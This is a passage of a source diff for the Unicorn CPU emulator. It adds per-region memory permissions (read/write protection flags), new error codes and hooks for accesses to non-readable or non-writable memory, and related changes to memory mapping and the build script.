|
UC_MODE_MIPS64 = 8
|
||||||
|
|
||||||
|
UC_ERR_OK = 0
|
||||||
|
UC_ERR_OOM = 1
|
||||||
|
UC_ERR_ARCH = 2
|
||||||
|
UC_ERR_HANDLE = 3
|
||||||
|
UC_ERR_UCH = 4
|
||||||
|
UC_ERR_MODE = 5
|
||||||
|
UC_ERR_VERSION = 6
|
||||||
|
UC_ERR_MEM_READ = 7
|
||||||
|
UC_ERR_MEM_WRITE = 8
|
||||||
|
UC_ERR_CODE_INVALID = 9
|
||||||
|
UC_ERR_HOOK = 10
|
||||||
|
UC_ERR_INSN_INVALID = 11
|
||||||
|
UC_ERR_MAP = 12
|
||||||
|
UC_ERR_MEM_WRITE_NW = 13
|
||||||
|
UC_ERR_MEM_READ_NR = 14
|
||||||
|
UC_MEM_READ = 16
|
||||||
|
UC_MEM_WRITE = 17
|
||||||
|
UC_MEM_READ_WRITE = 18
|
||||||
|
UC_MEM_WRITE_NW = 19
|
||||||
|
UC_MEM_READ_NR = 20
|
||||||
|
UC_HOOK_INTR = 32
|
||||||
|
UC_HOOK_INSN = 33
|
||||||
|
UC_HOOK_CODE = 34
|
||||||
|
UC_HOOK_BLOCK = 35
|
||||||
|
UC_HOOK_MEM_INVALID = 36
|
||||||
|
UC_HOOK_MEM_READ = 37
|
||||||
|
UC_HOOK_MEM_WRITE = 38
|
||||||
|
UC_HOOK_MEM_READ_WRITE = 39
|
||||||
|
|
||||||
|
UC_PROT_NONE = 0
|
||||||
|
UC_PROT_READ = 1
|
||||||
|
UC_PROT_WRITE = 2
|
||||||
|
UC_PROT_ALL = 3
|
19
docs/unicorn-logo.txt
Normal file
19
docs/unicorn-logo.txt
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
/\'. _,,
|
||||||
|
|.\ \ .'_/
|
||||||
|
_.-- |(\\ \ .'_.'
|
||||||
|
_.-' \_\\ \\_),/ _/
|
||||||
|
_).' .:::::::.___ .'
|
||||||
|
// ' ./::::::\\o\(
|
||||||
|
// //::/ '"( \
|
||||||
|
//_ //::( '. '.
|
||||||
|
/_'/ /||:::\ '. \
|
||||||
|
'// '\\:::':\_ -<_' _'-
|
||||||
|
/ | '\::/|::::.._ _ )(
|
||||||
|
| | \:| \:( '.(_'._)
|
||||||
|
| | \( \::. '-)
|
||||||
|
\ \ . '""""---.
|
||||||
|
\ \ \ . _.-...)
|
||||||
|
\ \/\. \:.___.-'..:::/
|
||||||
|
\ |\\:..\:::::'.::::/
|
||||||
|
' '.:::::'..:::"'
|
||||||
|
'":::""'
|
@ -45,7 +45,9 @@ typedef void (*uc_args_uc_long_t)(struct uc_struct*, unsigned long);
|
|||||||
|
|
||||||
typedef void (*uc_args_uc_u64_t)(struct uc_struct *, uint64_t addr);
|
typedef void (*uc_args_uc_u64_t)(struct uc_struct *, uint64_t addr);
|
||||||
|
|
||||||
typedef int (*uc_args_uc_ram_size_t)(struct uc_struct*, ram_addr_t begin, size_t size);
|
typedef MemoryRegion* (*uc_args_uc_ram_size_t)(struct uc_struct*, ram_addr_t begin, size_t size, uint32_t perms);
|
||||||
|
|
||||||
|
typedef void (*uc_readonly_mem_t)(MemoryRegion *mr, bool readonly);
|
||||||
|
|
||||||
// which interrupt should make emulation stop?
|
// which interrupt should make emulation stop?
|
||||||
typedef bool (*uc_args_int_t)(int intno);
|
typedef bool (*uc_args_int_t)(int intno);
|
||||||
@ -61,6 +63,9 @@ struct hook_struct {
|
|||||||
// extend memory to keep 32 more hooks each time
|
// extend memory to keep 32 more hooks each time
|
||||||
#define HOOK_SIZE 32
|
#define HOOK_SIZE 32
|
||||||
|
|
||||||
|
//relloc increment, KEEP THIS A POWER OF 2!
|
||||||
|
#define MEM_BLOCK_INCR 32
|
||||||
|
|
||||||
struct uc_struct {
|
struct uc_struct {
|
||||||
uc_arch arch;
|
uc_arch arch;
|
||||||
uc_mode mode;
|
uc_mode mode;
|
||||||
@ -85,11 +90,11 @@ struct uc_struct {
|
|||||||
uc_args_tcg_enable_t tcg_enabled;
|
uc_args_tcg_enable_t tcg_enabled;
|
||||||
uc_args_uc_long_t tcg_exec_init;
|
uc_args_uc_long_t tcg_exec_init;
|
||||||
uc_args_uc_ram_size_t memory_map;
|
uc_args_uc_ram_size_t memory_map;
|
||||||
|
uc_readonly_mem_t readonly_mem;
|
||||||
// list of cpu
|
// list of cpu
|
||||||
void* cpu;
|
void* cpu;
|
||||||
|
|
||||||
MemoryRegion *system_memory; // qemu/exec.c
|
MemoryRegion *system_memory; // qemu/exec.c
|
||||||
MemoryRegion *ram;
|
|
||||||
MemoryRegion io_mem_rom; // qemu/exec.c
|
MemoryRegion io_mem_rom; // qemu/exec.c
|
||||||
MemoryRegion io_mem_notdirty; // qemu/exec.c
|
MemoryRegion io_mem_notdirty; // qemu/exec.c
|
||||||
MemoryRegion io_mem_unassigned; // qemu/exec.c
|
MemoryRegion io_mem_unassigned; // qemu/exec.c
|
||||||
@ -165,11 +170,13 @@ struct uc_struct {
|
|||||||
int thumb; // thumb mode for ARM
|
int thumb; // thumb mode for ARM
|
||||||
// full TCG cache leads to middle-block break in the last translation?
|
// full TCG cache leads to middle-block break in the last translation?
|
||||||
bool block_full;
|
bool block_full;
|
||||||
|
MemoryRegion **mapped_blocks;
|
||||||
|
uint32_t mapped_block_count;
|
||||||
};
|
};
|
||||||
|
|
||||||
#include "qemu_macro.h"
|
#include "qemu_macro.h"
|
||||||
|
|
||||||
// check if this address is mapped in (via uc_mem_map())
|
// check if this address is mapped in (via uc_mem_map())
|
||||||
bool memory_mapping(uint64_t address);
|
MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
@ -96,7 +96,7 @@ typedef enum uc_mode {
|
|||||||
UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA
|
UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA
|
||||||
UC_MODE_V9 = 1 << 4, // SparcV9 mode (Sparc)
|
UC_MODE_V9 = 1 << 4, // SparcV9 mode (Sparc)
|
||||||
UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (PPC)
|
UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (PPC)
|
||||||
UC_MODE_BIG_ENDIAN = 1 << 31, // big-endian mode
|
UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode
|
||||||
UC_MODE_MIPS32 = UC_MODE_32, // Mips32 ISA (Mips)
|
UC_MODE_MIPS32 = UC_MODE_32, // Mips32 ISA (Mips)
|
||||||
UC_MODE_MIPS64 = UC_MODE_64, // Mips64 ISA (Mips)
|
UC_MODE_MIPS64 = UC_MODE_64, // Mips64 ISA (Mips)
|
||||||
} uc_mode;
|
} uc_mode;
|
||||||
@ -116,6 +116,8 @@ typedef enum uc_err {
|
|||||||
UC_ERR_HOOK, // Invalid hook type: uc_hook_add()
|
UC_ERR_HOOK, // Invalid hook type: uc_hook_add()
|
||||||
UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start()
|
UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start()
|
||||||
UC_ERR_MAP, // Invalid memory mapping: uc_mem_map()
|
UC_ERR_MAP, // Invalid memory mapping: uc_mem_map()
|
||||||
|
UC_ERR_MEM_WRITE_NW, // Quit emulation due to write to non-writable: uc_emu_start()
|
||||||
|
UC_ERR_MEM_READ_NR, // Quit emulation due to read from non-readable: uc_emu_start()
|
||||||
} uc_err;
|
} uc_err;
|
||||||
|
|
||||||
|
|
||||||
@ -147,6 +149,8 @@ typedef enum uc_mem_type {
|
|||||||
UC_MEM_READ = 16, // Memory is read from
|
UC_MEM_READ = 16, // Memory is read from
|
||||||
UC_MEM_WRITE, // Memory is written to
|
UC_MEM_WRITE, // Memory is written to
|
||||||
UC_MEM_READ_WRITE, // Memory is accessed (either READ or WRITE)
|
UC_MEM_READ_WRITE, // Memory is accessed (either READ or WRITE)
|
||||||
|
UC_MEM_WRITE_NW, // write to non-writable
|
||||||
|
UC_MEM_READ_NR, // read from non-readable
|
||||||
} uc_mem_type;
|
} uc_mem_type;
|
||||||
|
|
||||||
// All type of hooks for uc_hook_add() API.
|
// All type of hooks for uc_hook_add() API.
|
||||||
@ -384,6 +388,13 @@ uc_err uc_hook_add(struct uc_struct *uc, uc_hook_h *hh, uc_hook_t type, void *ca
|
|||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh);
|
uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh);
|
||||||
|
|
||||||
|
typedef enum uc_prot {
|
||||||
|
UC_PROT_NONE = 0,
|
||||||
|
UC_PROT_READ = 1,
|
||||||
|
UC_PROT_WRITE = 2,
|
||||||
|
UC_PROT_ALL = 3,
|
||||||
|
} uc_prot;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Map memory in for emulation.
|
Map memory in for emulation.
|
||||||
This API adds a memory region that can be used by emulation.
|
This API adds a memory region that can be used by emulation.
|
||||||
@ -393,12 +404,15 @@ uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh);
|
|||||||
This address must be aligned to 4KB, or this will return with UC_ERR_MAP error.
|
This address must be aligned to 4KB, or this will return with UC_ERR_MAP error.
|
||||||
@size: size of the new memory region to be mapped in.
|
@size: size of the new memory region to be mapped in.
|
||||||
This size must be multiple of 4KB, or this will return with UC_ERR_MAP error.
|
This size must be multiple of 4KB, or this will return with UC_ERR_MAP error.
|
||||||
|
@perms: Permissions for the newly mapped region.
|
||||||
|
This must be some combination of UC_PROT_READ & UC_PROT_WRITE,
|
||||||
|
or this will return with UC_ERR_MAP error. See uc_prot type above.
|
||||||
|
|
||||||
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
|
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
|
||||||
for detailed error).
|
for detailed error).
|
||||||
*/
|
*/
|
||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size);
|
uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms);
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
|
4
make.sh
4
make.sh
@ -38,8 +38,8 @@ build_cross() {
|
|||||||
[ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64"
|
[ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64"
|
||||||
CROSS=$1
|
CROSS=$1
|
||||||
CC=$CROSS-gcc \
|
CC=$CROSS-gcc \
|
||||||
AR=$CROSS-ar \
|
AR=$CROSS-gcc-ar \
|
||||||
RANLIB=$CROSS-ranlib \
|
RANLIB=$CROSS-gcc-ranlib \
|
||||||
GLIB="-L/usr/$CROSS/lib/ -lglib-2.0" \
|
GLIB="-L/usr/$CROSS/lib/ -lglib-2.0" \
|
||||||
${MAKE}
|
${MAKE}
|
||||||
}
|
}
|
||||||
|
@ -117,13 +117,6 @@ int cpu_exec(struct uc_struct *uc, CPUArchState *env) // qq
|
|||||||
(uc->arch == UC_ARCH_M68K && cpu->exception_index == 0x2f) /* M68K's EXCP_TRAP15 */
|
(uc->arch == UC_ARCH_M68K && cpu->exception_index == 0x2f) /* M68K's EXCP_TRAP15 */
|
||||||
) {
|
) {
|
||||||
cpu->halted = 1;
|
cpu->halted = 1;
|
||||||
//cpu->exception_index = EXCP_HLT;
|
|
||||||
//no_shutdown = 0;
|
|
||||||
//printf(">>> calling shutdown-request...\n");
|
|
||||||
//printf(">>> ** current EIP = %x\n", X86_CPU(cpu)->env.eip);
|
|
||||||
//qemu_system_shutdown_request();
|
|
||||||
//pause_all_vcpus();
|
|
||||||
//cpu_loop_exit(cpu);
|
|
||||||
ret = EXCP_HLT;
|
ret = EXCP_HLT;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
0
qemu/header_gen.py
Executable file → Normal file
0
qemu/header_gen.py
Executable file → Normal file
@ -170,6 +170,8 @@ struct MemoryRegion {
|
|||||||
MemoryRegionIoeventfd *ioeventfds;
|
MemoryRegionIoeventfd *ioeventfds;
|
||||||
NotifierList iommu_notify;
|
NotifierList iommu_notify;
|
||||||
struct uc_struct *uc;
|
struct uc_struct *uc;
|
||||||
|
uint32_t perms; //all perms, partially redundant with readonly
|
||||||
|
uint64_t end;
|
||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -315,12 +317,14 @@ void memory_region_init_io(struct uc_struct *uc, MemoryRegion *mr,
|
|||||||
* @owner: the object that tracks the region's reference count
|
* @owner: the object that tracks the region's reference count
|
||||||
* @name: the name of the region.
|
* @name: the name of the region.
|
||||||
* @size: size of the region.
|
* @size: size of the region.
|
||||||
|
* @perms: permissions on the region (UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC).
|
||||||
* @errp: pointer to Error*, to store an error if it happens.
|
* @errp: pointer to Error*, to store an error if it happens.
|
||||||
*/
|
*/
|
||||||
void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr,
|
void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr,
|
||||||
struct Object *owner,
|
struct Object *owner,
|
||||||
const char *name,
|
const char *name,
|
||||||
uint64_t size,
|
uint64_t size,
|
||||||
|
uint32_t perms,
|
||||||
Error **errp);
|
Error **errp);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -934,7 +938,7 @@ void address_space_unmap(AddressSpace *as, void *buffer, hwaddr len,
|
|||||||
|
|
||||||
void memory_register_types(struct uc_struct *uc);
|
void memory_register_types(struct uc_struct *uc);
|
||||||
|
|
||||||
int memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size);
|
MemoryRegion *memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size, uint32_t perms);
|
||||||
int memory_free(struct uc_struct *uc);
|
int memory_free(struct uc_struct *uc);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
@ -31,27 +31,28 @@
|
|||||||
|
|
||||||
|
|
||||||
// Unicorn engine
|
// Unicorn engine
|
||||||
int memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size)
|
MemoryRegion *memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size, uint32_t perms)
|
||||||
{
|
{
|
||||||
uc->ram = g_new(MemoryRegion, 1);
|
MemoryRegion *ram = g_new(MemoryRegion, 1);
|
||||||
|
|
||||||
memory_region_init_ram(uc, uc->ram, NULL, "pc.ram", size, &error_abort);
|
memory_region_init_ram(uc, ram, NULL, "pc.ram", size, perms, &error_abort);
|
||||||
|
|
||||||
memory_region_add_subregion(get_system_memory(uc), begin, uc->ram);
|
memory_region_add_subregion(get_system_memory(uc), begin, ram);
|
||||||
|
|
||||||
if (uc->current_cpu)
|
if (uc->current_cpu)
|
||||||
tlb_flush(uc->current_cpu, 1);
|
tlb_flush(uc->current_cpu, 1);
|
||||||
|
|
||||||
return 0;
|
return ram;
|
||||||
}
|
}
|
||||||
|
|
||||||
int memory_free(struct uc_struct *uc)
|
int memory_free(struct uc_struct *uc)
|
||||||
{
|
{
|
||||||
|
int i;
|
||||||
get_system_memory(uc)->enabled = false;
|
get_system_memory(uc)->enabled = false;
|
||||||
if (uc->ram) {
|
for (i = 0; i < uc->mapped_block_count; i++) {
|
||||||
uc->ram->enabled = false;
|
uc->mapped_blocks[i]->enabled = false;
|
||||||
memory_region_del_subregion(get_system_memory(uc), uc->ram);
|
memory_region_del_subregion(get_system_memory(uc), uc->mapped_blocks[i]);
|
||||||
g_free(uc->ram);
|
g_free(uc->mapped_blocks[i]);
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -1151,10 +1152,15 @@ void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr,
|
|||||||
Object *owner,
|
Object *owner,
|
||||||
const char *name,
|
const char *name,
|
||||||
uint64_t size,
|
uint64_t size,
|
||||||
|
uint32_t perms,
|
||||||
Error **errp)
|
Error **errp)
|
||||||
{
|
{
|
||||||
memory_region_init(uc, mr, owner, name, size);
|
memory_region_init(uc, mr, owner, name, size);
|
||||||
mr->ram = true;
|
mr->ram = true;
|
||||||
|
if (!(perms & UC_PROT_WRITE)) {
|
||||||
|
mr->readonly = true;
|
||||||
|
}
|
||||||
|
mr->perms = perms;
|
||||||
mr->terminates = true;
|
mr->terminates = true;
|
||||||
mr->destructor = memory_region_destructor_ram;
|
mr->destructor = memory_region_destructor_ram;
|
||||||
mr->ram_addr = qemu_ram_alloc(size, mr, errp);
|
mr->ram_addr = qemu_ram_alloc(size, mr, errp);
|
||||||
@ -1309,6 +1315,12 @@ void memory_region_set_readonly(MemoryRegion *mr, bool readonly)
|
|||||||
if (mr->readonly != readonly) {
|
if (mr->readonly != readonly) {
|
||||||
memory_region_transaction_begin(mr->uc);
|
memory_region_transaction_begin(mr->uc);
|
||||||
mr->readonly = readonly;
|
mr->readonly = readonly;
|
||||||
|
if (readonly) {
|
||||||
|
mr->perms &= ~UC_PROT_WRITE;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
mr->perms |= UC_PROT_WRITE;
|
||||||
|
}
|
||||||
mr->uc->memory_region_update_pending |= mr->enabled;
|
mr->uc->memory_region_update_pending |= mr->enabled;
|
||||||
memory_region_transaction_commit(mr->uc);
|
memory_region_transaction_commit(mr->uc);
|
||||||
}
|
}
|
||||||
@ -1528,6 +1540,7 @@ static void memory_region_add_subregion_common(MemoryRegion *mr,
|
|||||||
assert(!subregion->container);
|
assert(!subregion->container);
|
||||||
subregion->container = mr;
|
subregion->container = mr;
|
||||||
subregion->addr = offset;
|
subregion->addr = offset;
|
||||||
|
subregion->end = offset + int128_get64(subregion->size);
|
||||||
memory_region_update_container_subregions(subregion);
|
memory_region_update_container_subregions(subregion);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
0
qemu/scripts/make_device_config.sh
Normal file → Executable file
0
qemu/scripts/make_device_config.sh
Normal file → Executable file
@ -178,6 +178,9 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
uintptr_t haddr;
|
uintptr_t haddr;
|
||||||
DATA_TYPE res;
|
DATA_TYPE res;
|
||||||
|
|
||||||
|
struct uc_struct *uc = env->uc;
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, addr);
|
||||||
|
|
||||||
// Unicorn: callback on memory read
|
// Unicorn: callback on memory read
|
||||||
if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) {
|
if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr);
|
struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr);
|
||||||
@ -188,7 +191,7 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Unicorn: callback on invalid memory
|
// Unicorn: callback on invalid memory
|
||||||
if (!memory_mapping(addr) && env->uc->hook_mem_idx) {
|
if (env->uc->hook_mem_idx && mr == NULL) {
|
||||||
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
||||||
env->uc, UC_MEM_READ, addr, DATA_SIZE, 0,
|
env->uc, UC_MEM_READ, addr, DATA_SIZE, 0,
|
||||||
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
||||||
@ -203,6 +206,26 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unicorn: callback on read only memory
|
||||||
|
if (mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable
|
||||||
|
bool result = false;
|
||||||
|
if (uc->hook_mem_idx) {
|
||||||
|
result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
|
uc, UC_MEM_READ_NR, addr, DATA_SIZE, 0,
|
||||||
|
uc->hook_callbacks[uc->hook_mem_idx].user_data);
|
||||||
|
}
|
||||||
|
if (result) {
|
||||||
|
env->invalid_error = UC_ERR_OK;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
env->invalid_addr = addr;
|
||||||
|
env->invalid_error = UC_ERR_MEM_READ_NR;
|
||||||
|
// printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr);
|
||||||
|
cpu_exit(uc->current_cpu);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Adjust the given return address. */
|
/* Adjust the given return address. */
|
||||||
retaddr -= GETPC_ADJ;
|
retaddr -= GETPC_ADJ;
|
||||||
|
|
||||||
@ -300,6 +323,9 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
uintptr_t haddr;
|
uintptr_t haddr;
|
||||||
DATA_TYPE res;
|
DATA_TYPE res;
|
||||||
|
|
||||||
|
struct uc_struct *uc = env->uc;
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, addr);
|
||||||
|
|
||||||
// Unicorn: callback on memory read
|
// Unicorn: callback on memory read
|
||||||
if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) {
|
if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr);
|
struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr);
|
||||||
@ -310,7 +336,7 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Unicorn: callback on invalid memory
|
// Unicorn: callback on invalid memory
|
||||||
if (!memory_mapping(addr) && env->uc->hook_mem_idx) {
|
if (env->uc->hook_mem_idx && mr == NULL) {
|
||||||
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
||||||
env->uc, UC_MEM_READ, addr, DATA_SIZE, 0,
|
env->uc, UC_MEM_READ, addr, DATA_SIZE, 0,
|
||||||
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
||||||
@ -325,6 +351,26 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unicorn: callback on read only memory
|
||||||
|
if (mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable
|
||||||
|
bool result = false;
|
||||||
|
if (uc->hook_mem_idx) {
|
||||||
|
result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
|
uc, UC_MEM_READ_NR, addr, DATA_SIZE, 0,
|
||||||
|
uc->hook_callbacks[uc->hook_mem_idx].user_data);
|
||||||
|
}
|
||||||
|
if (result) {
|
||||||
|
env->invalid_error = UC_ERR_OK;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
env->invalid_addr = addr;
|
||||||
|
env->invalid_error = UC_ERR_MEM_READ_NR;
|
||||||
|
// printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr);
|
||||||
|
cpu_exit(uc->current_cpu);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Adjust the given return address. */
|
/* Adjust the given return address. */
|
||||||
retaddr -= GETPC_ADJ;
|
retaddr -= GETPC_ADJ;
|
||||||
|
|
||||||
@ -460,31 +506,53 @@ void helper_le_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val,
|
|||||||
target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write;
|
target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write;
|
||||||
uintptr_t haddr;
|
uintptr_t haddr;
|
||||||
|
|
||||||
|
struct uc_struct *uc = env->uc;
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, addr);
|
||||||
|
|
||||||
// Unicorn: callback on memory write
|
// Unicorn: callback on memory write
|
||||||
if (env->uc->hook_mem_write) {
|
if (env->uc->hook_mem_write) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_MEM_WRITE, addr);
|
struct hook_struct *trace = hook_find(uc, UC_MEM_WRITE, addr);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
((uc_cb_hookmem_t)trace->callback)(env->uc, UC_MEM_WRITE,
|
((uc_cb_hookmem_t)trace->callback)(uc, UC_MEM_WRITE,
|
||||||
(uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data);
|
(uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Unicorn: callback on invalid memory
|
// Unicorn: callback on invalid memory
|
||||||
if (!memory_mapping(addr) && env->uc->hook_mem_idx) {
|
if (uc->hook_mem_idx && mr == NULL) {
|
||||||
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
if (!((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
env->uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val,
|
uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val,
|
||||||
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
uc->hook_callbacks[uc->hook_mem_idx].user_data)) {
|
||||||
// save error & quit
|
// save error & quit
|
||||||
env->invalid_addr = addr;
|
env->invalid_addr = addr;
|
||||||
env->invalid_error = UC_ERR_MEM_WRITE;
|
env->invalid_error = UC_ERR_MEM_WRITE;
|
||||||
// printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr);
|
// printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr);
|
||||||
cpu_exit(env->uc->current_cpu);
|
cpu_exit(uc->current_cpu);
|
||||||
return;
|
return;
|
||||||
} else {
|
} else {
|
||||||
env->invalid_error = UC_ERR_OK;
|
env->invalid_error = UC_ERR_OK;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unicorn: callback on read only memory
|
||||||
|
if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //read only memory
|
||||||
|
bool result = false;
|
||||||
|
if (uc->hook_mem_idx) {
|
||||||
|
result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
|
uc, UC_MEM_WRITE_NW, addr, DATA_SIZE, (int64_t)val,
|
||||||
|
uc->hook_callbacks[uc->hook_mem_idx].user_data);
|
||||||
|
}
|
||||||
|
if (result) {
|
||||||
|
env->invalid_error = UC_ERR_OK;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
env->invalid_addr = addr;
|
||||||
|
env->invalid_error = UC_ERR_MEM_WRITE_NW;
|
||||||
|
// printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr);
|
||||||
|
cpu_exit(uc->current_cpu);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Adjust the given return address. */
|
/* Adjust the given return address. */
|
||||||
retaddr -= GETPC_ADJ;
|
retaddr -= GETPC_ADJ;
|
||||||
@ -546,6 +614,8 @@ void helper_le_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val,
|
|||||||
Undo that for the recursion. */
|
Undo that for the recursion. */
|
||||||
glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8,
|
glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8,
|
||||||
mmu_idx, retaddr + GETPC_ADJ);
|
mmu_idx, retaddr + GETPC_ADJ);
|
||||||
|
if (env->invalid_error != UC_ERR_OK)
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@ -574,31 +644,54 @@ void helper_be_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val,
|
|||||||
target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write;
|
target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write;
|
||||||
uintptr_t haddr;
|
uintptr_t haddr;
|
||||||
|
|
||||||
|
struct uc_struct *uc = env->uc;
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, addr);
|
||||||
|
|
||||||
// Unicorn: callback on memory write
|
// Unicorn: callback on memory write
|
||||||
if (env->uc->hook_mem_write) {
|
if (uc->hook_mem_write) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_MEM_WRITE, addr);
|
struct hook_struct *trace = hook_find(uc, UC_MEM_WRITE, addr);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
((uc_cb_hookmem_t)trace->callback)(env->uc, UC_MEM_WRITE,
|
((uc_cb_hookmem_t)trace->callback)(uc, UC_MEM_WRITE,
|
||||||
(uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data);
|
(uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Unicorn: callback on invalid memory
|
// Unicorn: callback on invalid memory
|
||||||
if (!memory_mapping(addr) && env->uc->hook_mem_idx) {
